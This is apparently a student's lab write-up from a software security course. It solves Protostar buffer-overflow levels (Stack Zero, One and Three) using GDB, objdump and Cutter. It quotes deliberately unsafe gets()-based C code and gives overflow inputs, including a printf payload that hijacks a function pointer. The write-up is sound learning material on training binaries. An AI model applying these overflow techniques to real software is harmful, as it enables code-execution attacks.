Session 3: Software Security - Memory Safety
Assignments
Class
The session started with a review of the previous week's assignments. Students shared their work, demonstrated tools such as Nmap and Wireshark, and discussed topics including TLS handshakes, port scanning, and firewall configuration. There were also discussions about SMTP, DNS, and other networking concepts that came up during the exercises.
The main lecture was given by Hamed Okhravi, a Senior Staff member at MIT Lincoln Laboratory. He introduced software security, focusing on memory safety and why memory corruption vulnerabilities remain one of the most common classes of software bugs. He explained how vulnerabilities such as buffer overflows occur, how attackers exploit them, and introduced common mitigation techniques including stack canaries, Address Space Layout Randomization (ASLR), and Data Execution Prevention (DEP).
After the lecture, the assignments for the session were introduced, including experimenting with the Protostar challenges to gain hands-on experience with memory safety vulnerabilities and buffer overflow attacks.
QEMU and Protostar setup
I started just by checking if QEMU was installed on the VM with:
It was and was on version 8.2.2 next I downloaded Protostar image using wget:
wget -P ~/Downloads https://github.com/ExploitEducation/Protostar/releases/download/v2.0.0/exploit-exercises-protostar-2.iso
Next I ran the Protostar virtual machine with:
I got a gtk initialization failed I found out it was because I was trying to run as a GUI but I had disabled that in last session and I had a ssh connection. No big deal there was a no graphic option so I added to the command:
This time I got a bootup message but then just a blinking cursor. To stop it I had to press ctrl + a and then x
I looked into it and found out the kernel does not natively support the modern QEMU serial console output redirected by -nographic. The solution was to add an extra network configuration flag that forces QEMU to redirect the guest's monitor interface to the terminal instead of the serial port. One more prompt for the command:
qemu-system-x86_64 -boot d -cdrom ~/Downloads/exploit-exercises-protostar-2.iso -m 512 -nographic -monitor stdio
And one more:
qemu-system-x86_64 -boot d -cdrom ~/Downloads/exploit-exercises-protostar-2.iso -m 512 -nographic -serial mon:stdio
And it looked like I had the cursor problem again I thought this would just be easy and simple. It's not the first time in this situation so I rethought and decided I can just try to run it with GUI on and install qemu on my local machine.
QEMU and Protostar setup - Take 2 - Local GUI
Second try started with installing qemu:
I then did a rerun of the same process as on the class VM it strated and I saw this stange looking preson with a blue face.
Then I was in.
Quality of Life Improvements
Working directly in the QEMU window was a little inconvenient. The terminal window was quite small, and the virtual machine used an English keyboard layout while my laptop has an Icelandic keyboard. I quickly realized this would slow me down.
To make things easier, I configured QEMU to forward the guest's SSH port to my local machine by starting it with:
qemu-system-i386 -boot d -cdrom exploit-exercises-protostar-2.iso -m 512 -nic user,hostfwd=tcp::2222-:22
This allowed me to open my normal terminal and connect to the virtual machine over SSH:
I found out that Protostar is an older system, so I also had to enable the legacy ssh-rsa host key algorithm. Once connected, I had a much more space and my comfortable Icelandic keyboard layout, and the convenience of copy and paste while still working inside the Protostar virtual machine. Now I was all set to take on the exercises.
Note
I found out that some times the ssh would no work when I started the VM. This command solves it ssh-keygen -R "[localhost]:2222"
Tip
Protostar uses dash by default to change it to bash you simply type bash in the terminal.
Protostar exercises
Now that I had every thing set up I navigated to /opt/protostar/bin and I saw all the challenges.
Stack Zero
On the documentation page I found the source code and saw that the buffer size was set to 64 bytes. That meant the goal was probably to input more than 64 bytes and overflow the buffer.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64]; // allocated buffer size
modified = 0;
gets(buffer); // unsafe input function
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
I first tested the program with AAAA and got the Try again? message. Then I tried 65 x A, and this time the modified variable had changed.
Since I was using my Icelandic keyboard layout, I wondered if I could do it with fewer visible characters. The character Þ is encoded as two bytes in UTF-8, so 32 x Þ was enough to overflow the buffer.
After that I tried to find the smallest number of characters possible. I looked into emoji byte sizes and found that the Icelandic flag takes 8 bytes, so 9 flags were enough to overflow the buffer. The winner was the kissing emoji, which took 34 bytes, so only two of them were enough to modify the variable.
Using emojis to exploit programs might not be very practical or work everywhere, but it was fun to see that the overflow depends on bytes rather than characters.
Stack Zero - No Source Code
After solving it from the source code, I felt like I had looked at the answer too early. In a reverse engineering situation, the source code might not be available. I wanted to understand what was happening at a lower level, so I tought I'd try objdump and GDB to inspect the stack and see if I could find the input bytes inside the buffer.
Objdump and Cutter
I used objdump with the -d flag to disassemble the binary. I also tryed -S to see if I could get any more information but it showed the same resaults.
There whole file can be found here The interesting part begins at 080483f4 <main>: most of the earlier disassembly is startup code added by the compiler and runtime. To find the buffer size, I located where the buffer starts and where modified is stored and then subtracted the two offsets.
buffer starts at: esp + 0x1c modified is at: esp + 0x5c
0x5c - 0x1c = 0x40 = 64 bytes
Higher addresses
+-------------------------+
| modified (4 bytes) | <-- esp + 0x5c
+-------------------------+
| |
| 64 bytes |
| |
+-------------------------+
| buffer[64] | <-- esp + 0x1c
| |
+-------------------------+
Lower addresses
080483f4 <main>:
80483f4: 55 push ebp
80483f5: 89 e5 mov ebp,esp
80483f7: 83 e4 f0 and esp,0xfffffff0
80483fa: 83 ec 60 sub esp,0x60 ; Reserve 96 bytes on the stack
80483fd: c7 44 24 5c 00 00 00 mov DWORD PTR [esp+0x5c],0x0
8048404: 00
8048405: 8d 44 24 1c lea eax,[esp+0x1c] ; buffer starts
8048409: 89 04 24 mov DWORD PTR [esp],eax
804840c: e8 fb fe ff ff call 804830c <gets@plt> ; gets(buffer)
8048411: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c] ; load modified
8048415: 85 c0 test eax,eax
8048417: 74 0e je 8048427 <main+0x33>
8048419: c7 04 24 00 85 04 08 mov DWORD PTR [esp],0x8048500
8048420: e8 07 ff ff ff call 804832c <puts@plt>
8048425: eb 0c jmp 8048433 <main+0x3f>
8048427: c7 04 24 29 85 04 08 mov DWORD PTR [esp],0x8048529
804842e: e8 f9 fe ff ff call 804832c <puts@plt>
8048433: c9 leave
8048434: c3 ret
8048435: 90 nop
8048436: 90 nop
...
Cutter homepage
I've used Cutter in the past for reverse engineering and wanted to try it here as well. I moved the binary to my local machine with rsync, since Cutter is a GUI tool.
rsync -ah --progress -e 'ssh -p 2222 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa' user@localhost:/opt/protostar/bin/stack0 <file-desitantion>
In the graph tab it gave a nice breakdown of the main function and had already guessed some of the local variables:
0x48 - 0x8 = 0x40 = 64 bytes
Here is graph exported in .svg:
In the decompiler tab it produced pseudo-C using the Ghidra and jsdec decompilers.
/* Ghidra code output */
void main(void)
{
undefined auStack_54 [12];
char *s;
int32_t iStack_14;
int32_t var_8h;
iStack_14 = 0;
gets(auStack_54);
if (iStack_14 == 0) {
puts("Try again?");
} else {
puts("you have changed the \'modified\' variable");
}
return;
}
/* jsdec pseudo code output */
#include <stdint.h>
int32_t main (void) {
char * s;
int32_t var_8h;
eax = &s;
gets (eax, 0);
eax = var_8h;
if (eax != 0) {
puts ("you have changed the 'modified' variable");
} else {
puts ("Try again?");
}
return eax;
}
GDB - GNU Debugger
Objdump and Cutter gave me a good understanding of what was happening, but I also wanted to see the buffer overflow in memory. For that I used gdb.
I started the debugger with: gdb stack0
Step 1 - Set a breakpoint
I wanted to stop the program after gets() returned so I could inspect the stack before the program checked the value of modified. I confirmed the address with disassemble main, made a breakpoint at 0x08048411 using break *0x08048411, and then ran the program. When prompted for input I entered AAAA.
Reading symbols from /opt/protostar/bin/stack0...done.
(gdb) disassemble main
Dump of assembler code for function main:
...
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov 0x5c(%esp),%eax #line I want to break at
...
End of assembler dump.
(gdb) break *0x08048411 #setting the break point
Breakpoint 1 at 0x8048411: file stack0/stack0.c, line 13.
(gdb) run #running the program
Starting program: /opt/protostar/bin/stack0
AAAA
Breakpoint 1, main (argc=1, argv=0xbffffc84) at stack0/stack0.c:13 #break point activated
13 stack0/stack0.c: No such file or directory.
in stack0/stack0.c
Step 2 - Inspect the Stack
Next I wanted to inspect the stack. I first looked at the process memory map with info proc map to find the stack region. Then I examined the memory at the current stack pointer with x/32x $esp, where I found 0x41414141, the hexadecimal representation of my input AAAA.
To find the exact locations of the local variables I used info address modified and info address buffer. GDB showed that modified was 92 bytes from $esp while buffer started 28 bytes from $esp. The difference is 64 bytes, matching the buffer size I had already found with objdump and Cutter.
(gdb) info proc map
...
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack0
...
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack] # the stack region
(gdb) x/32x $esp
0xbffffb70: 0xbffffb8c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffffb80: 0xb7fd7ff4 0xb7ec6165 0xbffffb98 0x41414141 # "AAAA" (0x41 = 'A')
0xbffffb90: 0xb7fd7f00 0x08049620 0xbffffba8 0x080482e8
0xbffffba0: 0xb7ff1040 0x08049620 0xbffffbd8 0x08048469
0xbffffbb0: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffffbd8
0xbffffbc0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000 # modified? (confirmed later)
0xbffffbd0: 0x08048450 0x00000000 0xbffffc58 0xb7eadc76
0xbffffbe0: 0x00000001 0xbffffc84 0xbffffc8c 0xb7fe1848
(gdb) info address modified
Symbol "modified" is a local variable at frame offset 92.
(gdb) x/x $esp+92
0xbffffbcc: 0x00000000 # value of modified
(gdb) info address buffer
Symbol "buffer" is a local variable at frame offset 28. # start of buffer
(gdb) c
Continuing.
Try again?
Program exited with code 013.
Step 3 - Overflow the Buffer
Next I reran the program, this time entering 65 A characters. Looking at the stack again I could see that the value of modified had changed from 0x00000000 to 0x00000041, confirming that the buffer overflow had overwritten the variable.
(gdb) run
Starting program: /opt/protostar/bin/stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, main (argc=1, argv=0xbffffc74) at stack0/stack0.c:13
13 in stack0/stack0.c
(gdb) x/32x $esp
0xbffffb60: 0xbffffb7c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffffb70: 0xb7fd7ff4 0xb7ec6165 0xbffffb88 0x41414141 # "AAAA" starts here
0xbffffb80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffba0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbb0: 0x41414141 0x41414141 0x41414141 0x00000041 # modified overwritten with "A"
0xbffffbc0: 0x08048450 0x00000000 0xbffffc48 0xb7eadc76
0xbffffbd0: 0x00000001 0xbffffc74 0xbffffc7c 0xb7fe1848
(gdb) c
Continuing.
you have changed the 'modified' variable
Program exited with code 051.
Step 4 - Segmentation Fault
Finally I kept increasing the input size until the program crashed with a segmentation fault. At this point the overflow had gone beyond modified and overwritten the saved return address on the stack.
(gdb) run
Starting program: /opt/protostar/bin/stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, main (argc=1094795585, argv=0x41414141) at stack0/stack0.c:13
13 in stack0/stack0.c
(gdb) x/32x $esp
0xbffffb60: 0xbffffb7c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffffb70: 0xb7fd7ff4 0xb7ec6165 0xbffffb88 0x41414141
0xbffffb80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffba0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbd0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) c
Continuing.
you have changed the 'modified' variable
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) n
Cannot find bounds of current function
(gdb) n
Cannot find bounds of current function
(gdb) c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
Seeing everything fill up with 0x41414141 was pretty cool. It meant my input had actually overwritten the program's return address. When the program finished, it tried to return to 0x41414141, which caused the segmentation fault.
+--------------------+
| 0x41414141 | <- Return address
+--------------------+
| 0x41414141 | <- Saved EBP
+--------------------+
| 0x41414141 | <- modified
+--------------------+
| 0x41414141 ... | <- buffer[64]
+--------------------+
Stack one
This time I wasn't going to look at the source code. Disclaimer: I had looked at it a few days earlier, but enough time had passed that it had overflowed my memory. I briefly opened the documentation page just to read what the level was about. The goal was to modify a variable to a specific value and understand how variables are laid out in memory.
The first thing I did was start up gdb and run disass main to see if I could find that specific value. I used this instruction guide to look up some of the commands. I saw the familiar 0x5c, which was where the variable was, and one line below that there was cmp $0x61626364,%eax. The instruction was to compare, and in ASCII the value was abcd.
(gdb) disass main
Dump of assembler code for function main:
0x08048464 <main+0>: push %ebp
0x08048465 <main+1>: mov %esp,%ebp
0x08048467 <main+3>: and $0xfffffff0,%esp
0x0804846a <main+6>: sub $0x60,%esp
0x0804846d <main+9>: cmpl $0x1,0x8(%ebp)
0x08048471 <main+13>: jne 0x8048487 <main+35>
0x08048473 <main+15>: movl $0x80485a0,0x4(%esp)
0x0804847b <main+23>: movl $0x1,(%esp)
0x08048482 <main+30>: call 0x8048388 <errx@plt>
0x08048487 <main+35>: movl $0x0,0x5c(%esp)
0x0804848f <main+43>: mov 0xc(%ebp),%eax
0x08048492 <main+46>: add $0x4,%eax
0x08048495 <main+49>: mov (%eax),%eax
0x08048497 <main+51>: mov %eax,0x4(%esp)
0x0804849b <main+55>: lea 0x1c(%esp),%eax
0x0804849f <main+59>: mov %eax,(%esp)
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov 0x5c(%esp),%eax # Variable location 0x5c
0x080484ab <main+71>: cmp $0x61626364,%eax # specific value
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
0x080484b2 <main+78>: movl $0x80485bc,(%esp)
0x080484b9 <main+85>: call 0x8048398 <puts@plt>
0x080484be <main+90>: jmp 0x80484d5 <main+113>
0x080484c0 <main+92>: mov 0x5c(%esp),%edx
0x080484c4 <main+96>: mov $0x80485f3,%eax
0x080484c9 <main+101>: mov %edx,0x4(%esp)
0x080484cd <main+105>: mov %eax,(%esp)
0x080484d0 <main+108>: call 0x8048378 <printf@plt>
0x080484d5 <main+113>: leave
0x080484d6 <main+114>: ret
Disclaimer: I had seen little endian mentioned in the documentation, and I was already familiar with protocols where the least significant byte is sent or stored first.
That meant I had to send my 32xÞ, followed by dcba. I did that manually and ran the program with the argument.
That solved Stack One.
Unlike Stack Zero, the program didn't crash because I only overwrote the modified variable. The return address was left untouched, so the program continued normally and printed the message.
GDB Stack One
I also wanted to see the overwritten variable with the correct value, so I placed a breakpoint at <main+67> and dumped the stack with x/32x $esp. The value 0x61626364 was now visible in memory, matching the value from the cmp instruction.
Stack Three
I was in the middle of working on stack1 when Andri messaged me and asked how it was going and if I had solved stack3 yet. I updated him where I was at and told him I was trying to solve the levels without looking at the source code and asked him to send me the description, which he did.
Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)
He did offer a hint, but I aksed him to wait a bit. I started like last time by firing up gdb and disassembling the binary.
(gdb) disass main
Dump of assembler code for function main:
0x08048438 <main+0>: push %ebp
0x08048439 <main+1>: mov %esp,%ebp
0x0804843b <main+3>: and $0xfffffff0,%esp
0x0804843e <main+6>: sub $0x60,%esp
0x08048441 <main+9>: movl $0x0,0x5c(%esp)
0x08048449 <main+17>: lea 0x1c(%esp),%eax
0x0804844d <main+21>: mov %eax,(%esp)
0x08048450 <main+24>: call 0x8048330 <gets@plt>
0x08048455 <main+29>: cmpl $0x0,0x5c(%esp)
0x0804845a <main+34>: je 0x8048477 <main+63>
0x0804845c <main+36>: mov $0x8048560,%eax
0x08048461 <main+41>: mov 0x5c(%esp),%edx
0x08048465 <main+45>: mov %edx,0x4(%esp)
0x08048469 <main+49>: mov %eax,(%esp)
0x0804846c <main+52>: call 0x8048350 <printf@plt>
0x08048471 <main+57>: mov 0x5c(%esp),%eax
0x08048475 <main+61>: call *%eax
0x08048477 <main+63>: leave
0x08048478 <main+64>: ret
End of assembler dump.
The code was shorter this time, but I did not make much sense of it. I had been using this site by reveng007 on GitHub a lot to browse GDB commands. The level description mentioned "overwriting function pointers", so I found out I could get information about functions with info functions. void win(void); looked like it would lead somewhere.
(gdb) info functions
All defined functions:
File stack3/stack3.c:
int main(int, char **);
void win(void); # this one looked like a clue
Non-debugging symbols:
0x080482e0 _init
0x08048320 __gmon_start__
I found this GDB command that could print an address:
After a couple of failed attempts, p win worked and I had the address.
At this point Andri suggested I should take the hint since it had taken him some time to solve it. He sent me these hints:
both gdb and objdump is your friend you determining where the win() function lies in memory.
How can you input hex values that don’t correspond to keyboard letters?
Well, I was already in GDB and had found the win() address, but sending raw bytes was something I had to look up.
I found a thread on Stack Overflow and learned it was not possible to type the bytes directly into the terminal, but I could use printf, so I made an input file to run with the program.
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x24\x84\x04\x08' > /tmp/input
I then ran the program using the input file.
It worked and printed the code flow successfully changed message. The first 64 bytes filled the buffer, and the next 4 bytes overwrote the function pointer with the address of win().
GDB Stack Three
Again I also inspected it in gdb. I placed a breakpoint just at <main+67> and dumped the stack with x/32x $esp.
The buffer was filled with 0x41414141 (AAAA), and a little further down I could see 0x08048424, which is the address of win(). When I continued the program, it printed calling function pointer, jumping to 0x08048424 followed by code flow successfully changed.
Reflection
Finally, after all that, I allowed myself to look at the original source code. Seeing all the locations I had been looking at in gdb and the hex values laid out in clear C code felt like resurfacing back on earth after being lost in another dimension.
Looking back, stack0, which felt a bit intimidating at first, now feels a lot more familiar. This was only a few days of learning, and there are still many more dimensions left to explore.